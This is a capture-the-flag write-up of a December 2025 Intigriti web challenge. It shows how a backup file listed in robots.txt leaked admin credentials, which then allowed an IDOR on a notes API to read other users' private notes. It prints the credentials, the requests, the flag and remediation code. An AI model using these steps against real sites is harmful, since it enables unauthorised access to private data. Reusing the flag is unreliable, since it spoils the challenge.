Summary#

A chain of low-hanging but high-impact issues allowed complete compromise of the application:

• Sensitive backup file exposed via robots.txt
• Hardcoded admin credentials and secrets in composer.json~
• Successful login as elf_supervisor (admin)
• IDOR in the Notes API (/api/notes/{id}) that completely ignored user ownership

The result: any unauthenticated visitor could discover the backup, log in as admin, and read every private note belonging to every user — including other participants’ flags.

In Simple Terms#

1. The site told everyone where to look for secrets (robots.txt).
2. A backup file sitting in the web root contained the admin username, password, and other secrets in plain text.
3. Once logged in as admin, the “notes” feature trusted whatever note ID you asked for — no check whether the note actually belonged to you.
4. Changing the note ID in the API request let us read anyone else’s private data.

Reconnaissance#

1
GET /robots.txt

1
/composer.json~

1
"admin-access": {
2
  "username": "elf_supervisor",
3
  "password": "CookiesAndMilk1337",
4
  "api-endpoint": "http://santacloud.intigriti.io/login"
5
},
6
"env": {
7
  "secret": "INTIGRITI{019b118e-e563-7348",
8
  "ttl": 3600
9
}

Exploitation#

1
GET /api/notes/{note-id}

1
GET /api/notes/3
2
Host: santacloud.intigriti.io
3
Cookie: session=...

1
{
2
  "success": true,
3
  "note": {
4
    "id": 3,
5
    "user_id": 1,
6
    "title": "The Secret Key",
7
    "content": "INTIGRITI{019b118e-e563-7348-a377-c1e5f944bb46}",
8
    "is_private": true
9
  }
10
}

Impact#

This is a classic example of chained low-severity issues resulting in high-severity impact: information disclosure → credential leakage → broken access control.

Root Cause#

1. Backup files (.~, .bak, etc.) were not excluded from public web access.
2. Hardcoded secrets were committed (and backed up) in application source files.
3. Missing authorization on the /api/notes/{id} endpoint — the API trusted the caller to only request their own notes.
4. Client-side trust — the frontend only showed notes belonging to the current user, but the backend performed no ownership validation.

Remediation#

1
# .htaccess or web server config
2
<FilesMatch "\.(~|bak|old|swp)$">
3
    Require all denied
4
</FilesMatch>

1
// Example server-side check
2
const note = await db.notes.findById(noteId);
3
if (!note || note.user_id !== currentUser.id) {
4
    return res.status(403).json({ error: "Forbidden" });
5
}
6
return res.json({ note });

Conclusion#

This challenge demonstrated how a seemingly minor information disclosure (a backup file) can quickly escalate when combined with poor secret management and missing authorization checks.

The combination of:

• Publicly listed backup file
• Hardcoded admin credentials
• Unprotected object references in the API

…allowed complete compromise of user data.

Flag: INTIGRITI{019b118e-e563-7348-a377-c1e5f944bb46}

Reported on Intigriti as part of the December 2025 SantaCloud challenge (INTIGRITI-LX72F3Y2).

Challenge Link: https://santacloud.intigriti.io